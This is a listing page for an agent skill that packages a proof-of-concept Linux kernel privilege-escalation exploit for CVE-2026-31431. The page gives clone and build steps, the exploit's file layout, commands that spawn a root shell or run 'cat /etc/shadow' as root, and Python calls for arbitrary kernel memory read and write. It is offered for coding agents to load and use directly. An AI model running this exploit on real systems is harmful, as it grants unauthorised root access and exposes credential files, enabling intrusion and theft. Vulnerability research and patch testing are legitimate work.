Agent skill · security · aradotso
copy-fail-cve-2026-31431
copy-fail-cve-2026-31431 — an agent skill for coding agents.
Why this skill is useful
Provides a complete proof-of-concept exploit for a specific Linux kernel vulnerability, including executable scripts and native helpers.
What it needs
Requires gcc, python installed locally. About 5k tokens when loaded. Last updated 2026-07-09. 70 stars on the source repository.
What this skill does
bash git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git cd copy-fail-CVE-2026-31431 Create virtual environment python3 -m venv venv source venv/bin/activate Install Python dependencies pip install -r requirements.txt bash make or gcc -o helper helper.c -lpthread copy-fail-CVE-2026-31431/ ├── exploit.py # Main exploit entry point ├── exploit/ │ ├── init.py │ ├── core.py # Core exploit logic │ ├── primitives.py # Kernel read/write primitives │ ├── spray.py # Heap spray utilities │ └── utils.py # Helper utilities ├── helper.c # Native C helper (compiled separately) ├── requirements.txt ├── Makefile └── README.md bash Basic run — attempt privilege escalation to root python3 exploit.py Verbose output for debugging python3 exploit.py --verbose Specify a shell to spawn after root is obtained python3 exploit.py --shell /bin/bash Specify a command to run as root python3 exploit.py --exec "id && cat /etc/shadow" Target a specific kernel offset profile python3 exploit.py --profile ubuntu-24.04-6.17 List built-in kernel profiles python3 exploit.py --list-profiles python from exploit.core import CopyFailExploit from exploit.utils import getkernelversion, isvulnerable Check if the current kernel is vulnerable kernel = getkernelversion() print(f"Kernel: {kernel}") if isvulnerable(kernel): print("[+] Kernel appears vulnerable to CVE-2026-31431") else: print("[-] Kernel may not be vulnerable or is patched") Initialize and run the exploit exploit = CopyFailExploit(verbose=True) result = exploit.run() if result.success: print(f"[+] Privilege escalation successful! UID: {result.uid}") else: print(f"[-] Exploit failed: {result.error}") python from exploit.primitives import KernelPrimitives prims = KernelPrimitives() Establish arbitrary read/write after initial corruption prims.setup() Read 8 bytes from a kernel address value = prims.read64(kerneladdr) print(f"Value at {hex(kerneladdr)}: {hex(value)}") Write 8 bytes to a kernel address prims.write64(targetaddr, newvalue) …
How to use it
Reference it in AdaL, Claude Code, Cursor or any coding agent — nothing to install:
@skills aradotso/copy-fail-cve-2026-31431